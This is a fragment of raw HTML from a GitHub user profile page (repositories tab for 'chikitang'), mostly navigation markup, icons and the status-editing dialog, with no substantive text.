data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:project</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:open" > <span data-target="command-palette-help.titleElement">Filter to open issues, pull requests, and discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:open</kbd> </span> </command-palette-help> </server-defined-provider> <server-defined-provider data-type="commands" data-fetch-debounce="0" data-src="/command_palette/commands" data-supported-modes="[]" data-supports-commands data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="prefetched" data-fetch-debounce="0" data-src="/command_palette/jump_to_page_navigation" data-supported-modes="[""]" data-supported-scope-types="["","owner","repository"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/issues" data-supported-modes="["#","#"]" data-supported-scope-types="["owner","repository",""]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/jump_to" data-supported-modes="["@","@"]" data-supported-scope-types="["","owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/jump_to_members_only" data-supported-modes="["@","@","",""]" data-supported-scope-types="["","owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="prefetched" data-fetch-debounce="0" data-src="/command_palette/jump_to_members_only_prefetched" data-supported-modes="["@","@","",""]" data-supported-scope-types="["","owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="files" data-fetch-debounce="0" data-src="/command_palette/files" data-supported-modes="["/"]" data-supported-scope-types="["repository"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/discussions" data-supported-modes="["#"]" data-supported-scope-types="["owner","repository"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/projects" data-supported-modes="["#","!"]" data-supported-scope-types="["owner","repository"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="prefetched" data-fetch-debounce="0" data-src="/command_palette/recent_issues" data-supported-modes="["#","#"]" data-supported-scope-types="["owner","repository",""]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/teams" data-supported-modes="["@",""]" data-supported-scope-types="["owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/name_with_owner_repository" data-supported-modes="["@","@","",""]" data-supported-scope-types="["","owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> </command-palette> </details-dialog> </details> <div class="position-fixed bottom-0 left-0 ml-5 mb-5 js-command-palette-toasts" style="z-index: 1000"> <div hidden class="Toast Toast--loading"> <span class="Toast-icon"> <svg class="Toast--spinner" viewBox="0 0 32 32" width="18" height="18" aria-hidden="true"> <path fill="#959da5" d="M16 0 A16 16 0 0 0 16 32 A16 16 0 0 0 16 0 M16 4 A12 12 0 0 1 16 28 A12 12 0 0 1 16 4" /> <path fill="#ffffff" d="M16 0 A16 16 0 0 1 32 16 L28 16 A12 12 0 0 0 16 4z"></path> </svg> </span> <span class="Toast-content"></span> </div> <div hidden class="anim-fade-in fast Toast Toast--error"> <span class="Toast-icon"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-stop"> <path fill-rule="evenodd" d="M4.47.22A.75.75 0 015 0h6a.75.75 0 01.53.22l4.25 4.25c.141.14.22.331.22.53v6a.75.75 0 01-.22.53l-4.25 4.25A.75.75 0 0111 16H5a.75.75 0 01-.53-.22L.22 11.53A.75.75 0 010 11V5a.75.75 0 01.22-.53L4.47.22zm.84 1.28L1.5 5.31v5.38l3.81 3.81h5.38l3.81-3.81V5.31L10.69 1.5H5.31zM8 4a.75.75 0 01.75.75v3.5a.75.75 0 01-1.5 0v-3.5A.75.75 0 018 4zm0 8a1 1 0 100-2 1 1 0 000 2z"></path> </svg> </span> <span class="Toast-content"></span> </div> <div hidden class="anim-fade-in fast Toast Toast--warning"> <span class="Toast-icon"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> </span> <span class="Toast-content"></span> </div> <div hidden class="anim-fade-in fast Toast Toast--success"> <span class="Toast-icon"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> </span> <span class="Toast-content"></span> </div> <div hidden class="anim-fade-in fast Toast"> <span class="Toast-icon"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-info"> <path fill-rule="evenodd" d="M8 1.5a6.5 6.5 0 100 13 6.5 6.5 0 000-13zM0 8a8 8 0 1116 0A8 8 0 010 8zm6.5-.25A.75.75 0 017.25 7h1a.75.75 0 01.75.75v2.75h.25a.75.75 0 010 1.5h-2a.75.75 0 010-1.5h.25v-2h-.25a.75.75 0 01-.75-.75zM8 6a1 1 0 100-2 1 1 0 000 2z"></path> </svg> </span> <span class="Toast-content"></span> </div> </div> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <main id="js-pjax-container" data-pjax-container> <div class="mt-4 position-sticky top-0 d-none d-md-block color-bg-default width-full border-bottom color-border-muted" style="z-index:3;" > <div class="container-xl px-3 px-md-4 px-lg-5"> <div data-view-component="true" class="Layout Layout--flowRow-until-md Layout--sidebarPosition-start Layout--sidebarPosition-flowRow-start"> <div data-view-component="true" class="Layout-sidebar"> <div class="user-profile-sticky-bar"> <div class="user-profile-mini-vcard d-table"> <span class="user-profile-mini-avatar d-table-cell v-align-middle lh-condensed-ultra pr-2"> <img class="rounded-2 avatar-user" src="https://avatars.githubusercontent.com/u/107093285?s=64&v=4" width="32" height="32" alt="@chikitang" /> </span> <span class="d-table-cell v-align-middle lh-condensed"> <strong>chikitang</strong> </span> </div> </div> </div> <div data-view-component="true" class="Layout-main"> <div class="UnderlineNav width-full box-shadow-none js-responsive-underlinenav overflow-md-x-hidden"> <nav class="UnderlineNav-body width-full p-responsive" data-pjax aria-label="User profile"> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_OVERVIEW","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="5d370149c21205ec5db1b16999e0832e303dc0e8216fdfcad467e4d739ba5bd2" data-tab-item="overview" href="/chikitang"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path> </svg> Overview </a> <a aria-current="page" class="UnderlineNav-item js-responsive-underlinenav-item selected" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_REPOSITORIES","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="2878152d02a2613d43b03e73899fd932cdc33dbf741606f59108073a3be3d53e" data-tab-item="repositories" href="/chikitang?tab=repositories"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> Repositories <span title="1" data-view-component="true" class="Counter">1</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_PROJECTS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="998a9967a41db96a06d41fa60e83ae993072d339981cb58ccbd2a1e8c28b8173" data-tab-item="projects" href="/chikitang?tab=projects&type=beta"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v3.585a.746.746 0 010 .83v8.085A1.75 1.75 0 0114.25 16H6.309a.748.748 0 01-1.118 0H1.75A1.75 1.75 0 010 14.25V6.165a.746.746 0 010-.83V1.75zM1.5 6.5v7.75c0 .138.112.25.25.25H5v-8H1.5zM5 5H1.5V1.75a.25.25 0 01.25-.25H5V5zm1.5 1.5v8h7.75a.25.25 0 00.25-.25V6.5h-8zm8-1.5h-8V1.5h7.75a.25.25 0 01.25.25V5z"></path> </svg> Projects <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_PACKAGES","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="add7fd6f4f8f617c23b86cea0dd89fef5bd1ea5fe415b3492401e9a613d417be" data-tab-item="packages" href="/chikitang?tab=packages"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-package UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8.878.392a1.75 1.75 0 00-1.756 0l-5.25 3.045A1.75 1.75 0 001 4.951v6.098c0 .624.332 1.2.872 1.514l5.25 3.045a1.75 1.75 0 001.756 0l5.25-3.045c.54-.313.872-.89.872-1.514V4.951c0-.624-.332-1.2-.872-1.514L8.878.392zM7.875 1.69a.25.25 0 01.25 0l4.63 2.685L8 7.133 3.245 4.375l4.63-2.685zM2.5 5.677v5.372c0 .09.047.171.125.216l4.625 2.683V8.432L2.5 5.677zm6.25 8.271l4.625-2.683a.25.25 0 00.125-.216V5.677L8.75 8.432v5.516z"></path> </svg> Packages <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_STARS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="9b1d942d1e97482fca652be20f1a0bdf7aadf6379f10093c52d87921e2fc4d38" data-tab-item="stars" href="/chikitang?tab=stars"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path> </svg> Stars <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> </nav> <div class="position-absolute pr-3 pr-md-4 pr-lg-5 right-0 js-responsive-underlinenav-overflow" style="visibility: hidden"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path> </svg> <span class="sr-only">More</span> </div> </summary> <div data-view-component="true"> <details-menu role="menu" class="dropdown-menu dropdown-menu-sw"> <ul > <li data-menu-item="overview" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang" href="/chikitang">Overview</a> </li> <li data-menu-item="repositories" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang?tab=repositories" href="/chikitang?tab=repositories">Repositories</a> </li> <li data-menu-item="projects" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=projects&type=beta" href="/chikitang?tab=projects&type=beta">Projects</a> </li> <li data-menu-item="packages" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=packages" href="/chikitang?tab=packages">Packages</a> </li> <li data-menu-item="stars" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=stars" href="/chikitang?tab=stars">Stars</a> </li> </ul> </details-menu> </div> </details></div> </div> </div> </div> </div> </div> <div class="container-xl px-3 px-md-4 px-lg-5"> <div data-view-component="true" class="Layout Layout--flowRow-until-md Layout--sidebarPosition-start Layout--sidebarPosition-flowRow-start"> <div data-view-component="true" class="Layout-sidebar"> <div class="h-card mt-md-n5" data-acv-badge-hovercards-enabled itemscope itemtype="http://schema.org/Person" > <div class="user-profile-sticky-bar js-user-profile-sticky-bar d-none d-md-block"> <div class="user-profile-mini-vcard d-table"> <span class="user-profile-mini-avatar d-table-cell v-align-middle lh-condensed-ultra pr-2"> <img class="rounded-2 avatar-user" src="https://avatars.githubusercontent.com/u/107093285?s=64&v=4" width="32" height="32" alt="@chikitang" /> </span> <span class="d-table-cell v-align-middle lh-condensed"> <strong>chikitang</strong> </span> </div> </div> <div class="js-profile-editable-replace"> <div class="clearfix d-flex d-md-block flex-items-center mb-4 mb-md-0"> <div class="position-relative d-inline-block col-2 col-md-12 mr-3 mr-md-0 flex-shrink-0" style="z-index:4;" > <a class="tooltipped tooltipped-s d-block" aria-label="Change your avatar" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"EDIT_AVATAR","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="fe768eb126278f5ea2e2be2a694fd8f3a8db38717e25f9387d181f875bad4f31" href="https://github.com/account"><img style="height:auto;" alt="" width="260" height="260" class="avatar avatar-user width-full border color-bg-default" src="https://avatars.githubusercontent.com/u/107093285?v=4" /></a> <div class="user-status-container position-relative hide-sm hide-md"> <div class="f5 js-user-status-context user-status-circle-badge-container user-status-editable" data-url="/users/status?circle=1&compact=0&link_mentions=1&truncate=0" > <div class="js-user-status-container user-status-circle-badge d-inline-block lh-condensed-ultra p-2" data-team-hovercards-enabled> <details class="js-user-status-details details-reset details-overlay details-overlay-dark"> <summary class="btn-link btn-block Link--secondary no-underline js-toggle-user-status-edit toggle-user-status-edit" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"EDIT_USER_STATUS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="797b66215ac5265bc63e61ea380b67a3995b5dd86fe8fab5deea9ee6fbb92bc9"> <div class="d-flex flex-items-center flex-items-stretch"> <div class="f6 lh-condensed user-status-header d-inline-flex user-status-emoji-only-header circle"> <div class="user-status-emoji-container flex-shrink-0 mr-2 d-flex flex-items-center flex-justify-center "> <svg class="octicon octicon-smiley" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path></svg> </div> </div> <div class=" ws-normal user-status-message-wrapper f6 min-width-0" > <div class="css-truncate css-truncate-target width-fit color-fg-default"> <span class="color-fg-muted">Set status</span> </div> </div> </div> </summary> <details-dialog class="rounded-2 anim-fade-in fast Box Box--overlay overflow-visible" role="dialog" aria-label="Edit status" tabindex="-1"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="position-relative flex-auto js-user-status-form" data-turbo="false" action="/users/status?circle=1&compact=0&link_mentions=1&truncate=0" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off" /><input type="hidden" name="authenticity_token" value="TROZQ1psazHuv4SfB_6CRG81LOswktW22NJDqz2bjfsh_3WyNIJmw91nORchhJS4niNrCWbssHaAEqHwSouerQ" /> <div class="Box-header color-bg-subtle border-bottom p-3"> <button class="Box-btn-octicon js-toggle-user-status-edit btn-octicon float-right" type="reset" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <h3 class="Box-title f5 text-bold color-fg-default">Edit status</h3> </div> <input type="hidden" name="emoji" class="js-user-status-emoji-field" value=""> <input type="hidden" name="organization_id" class="js-user-status-org-id-field" value=""> <div class="px-3 py-2 color-fg-default"> <div class="js-characters-remaining-container position-relative mt-2"> <div class="input-group d-table form-group my-0 js-user-status-form-group"> <span class="input-group-button d-table-cell v-align-middle" style="width: 1%"> <button aria-label="Choose an emoji" type="button" data-view-component="true" class="js-toggle-user-status-emoji-picker btn-outline btn p-0"> <span class="js-user-status-original-emoji" hidden></span> <span class="js-user-status-custom-emoji"></span> <span class="js-user-status-no-emoji-icon" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-smiley"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path> </svg> </span> </button> </span> <text-expander keys=": @" data-mention-url="/autocomplete/user-suggestions" data-emoji-url="/autocomplete/emoji"> <input type="text" autocomplete="off" data-no-org-url="/autocomplete/user-suggestions" data-org-url="/suggestions?mention_suggester=1" data-maxlength="80" class="d-table-cell width-full form-control js-user-status-message-field js-characters-remaining-field" placeholder="What's happening?" name="message" value="" aria-label="What is your current status?"> </text-expander> <div class="error">Could not update your status, please try again.</div> </div> <div style="margin-left: 53px" class="my-1 text-small label-characters-remaining js-characters-remaining" data-suffix="remaining" hidden> 80 remaining </div> </div> <include-fragment class="js-user-status-emoji-picker" data-url="/users/status/emoji"></include-fragment> <div class="overflow-auto ml-n3 mr-n3 px-3 border-bottom" style="max-height: 33vh"> <div class="user-status-suggestions js-user-status-suggestions collapsed overflow-hidden"> <h4 class="f6 text-normal my-3">Suggestions:</h4> <div class="mx-3 mt-2 clearfix"> <div class="float-left col-6"> <button type="button" value=":palm_tree:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="palm_tree" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f334.png">🌴</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> On vacation </div> </button> <button type="button" value=":face_with_thermometer:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="face_with_thermometer" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f912.png">🤒</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Out sick </div> </button> </div> <div class="float-left col-6"> <button type="button" value=":house:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="house" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3e0.png">🏠</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Working from home </div> </button> <button type="button" value=":dart:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="dart" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3af.png">🎯</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Focusing </div> </button> </div> </div> </div> <div class="user-status-limited-availability-container"> <div class="form-checkbox my-0"> <input type="checkbox" name="limited_availability" value="1" class="js-user-status-limited-availability-checkbox" data-default-message="I may be slow to respond." aria-describedby="limited-availability-help-text-truncate-false-compact-false" id="limited-availability-truncate-false-compact-false"> <label class="d-block f5 color-fg-default mb-1" for="limited-availability-truncate-false-compact-false"> Busy </label> <p class="note" id="limited-availability-help-text-truncate-false-compact-false"> When others mention you, assign you, or request your review, GitHub will let them know that you have limited availability. </p> </div> </div> </div> <div class="d-inline-block f5 mr-2 pt-3 pb-2" > <div class="d-inline-block mr-1"> Clear status </div> <details class="js-user-status-expire-drop-down f6 dropdown details-reset details-overlay d-inline-block mr-2"> <summary aria-haspopup="true" data-view-component="true" class="btn-sm btn v-align-baseline"> <div class="js-user-status-expiration-interval-selected d-inline-block v-align-baseline"> Never </div> <div class="dropdown-caret"></div> </summary> <ul class="dropdown-menu dropdown-menu-se pl-0 overflow-auto" style="width: 220px; max-height: 15.5em"> <li> <button type="button" class="btn-link dropdown-item js-user-status-expire-button ws-normal" title="Never"> <span class="d-inline-block text-bold mb-1">Never</span> <div class="f6 lh-condensed">Keep this status until you clear your status or edit your status.</div> </button> </li> <li class="dropdown-divider" role="none"></li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 30 minutes" value="2022-06-07T21:44:33-07:00"> in 30 minutes </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 1 hour" value="2022-06-07T22:14:33-07:00"> in 1 hour </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 4 hours" value="2022-06-08T01:14:33-07:00"> in 4 hours </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="today" value="2022-06-07T23:59:59-07:00"> today </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="this week" value="2022-06-12T23:59:59-07:00"> this week </button> </li> </ul> </details> <input class="js-user-status-expiration-date-input" type="hidden" name="expires_at" value=""> </div> <include-fragment class="js-user-status-org-picker" data-url="/users/status/organizations"></include-fragment> </div> <div class="d-flex flex-items-center flex-justify-between p-3 border-top"> <button type="submit" disabled class="width-full btn btn-primary mr-2 js-user-status-submit"> Set status </button> <button type="button" disabled class="width-full js-clear-user-status-button btn ml-2 "> Clear status </button> </div> </form> </details-dialog> </details> </div> </div> </div> </div> <div class="vcard-names-container float-left js-profile-editable-names col-12 py-3 js-sticky js-user-profile-sticky-fields" > <h1 class="vcard-names "> <span class="p-name vcard-fullname d-block overflow-hidden" itemprop="name"> </span> <span class="p-nickname vcard-username d-block" itemprop="additionalName"> chikitang </span> </h1> </div> </div> <div class="mb-2 user-status-container d-md-none"> <div class="js-user-status-container rounded-2 px-2 py-1 mt-2 border" data-team-hovercards-enabled> <details class="js-user-status-details details-reset details-overlay details-overlay-dark"> <summary class="btn-link btn-block Link--secondary no-underline js-toggle-user-status-edit toggle-user-status-edit" role="menuitem" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"EDIT_USER_STATUS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="797b66215ac5265bc63e61ea380b67a3995b5dd86fe8fab5deea9ee6fbb92bc9"> <div class="d-flex flex-items-center flex-items-stretch"> <div class="f6 lh-condensed user-status-header d-flex user-status-emoji-only-header circle"> <div class="user-status-emoji-container flex-shrink-0 mr-2 d-flex flex-items-center flex-justify-center lh-condensed-ultra v-align-bottom"> <svg class="octicon octicon-smiley" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path></svg> </div> </div> <div class=" user-status-message-wrapper f6 min-width-0" style="line-height: 20px;" > <div class="css-truncate css-truncate-target width-fit color-fg-default text-left"> <span class="color-fg-muted">Set status</span> </div> </div> </div> </summary> <details-dialog class="rounded-2 anim-fade-in fast Box Box--overlay overflow-visible" role="dialog" aria-label="Edit status" tabindex="-1"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="position-relative flex-auto js-user-status-form" data-turbo="false" action="/users/status?circle=0&compact=1&link_mentions=1&truncate=0" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off" /><input type="hidden" name="authenticity_token" value="SOdH-f-2peym7Q5DQYTnVoMgrDIwG-wMjYJooZiAkyQkC6sIkVioHpU1s8tn_vGqcjbr0GZliczVQor675CAcg" /> <div class="Box-header color-bg-subtle border-bottom p-3"> <button 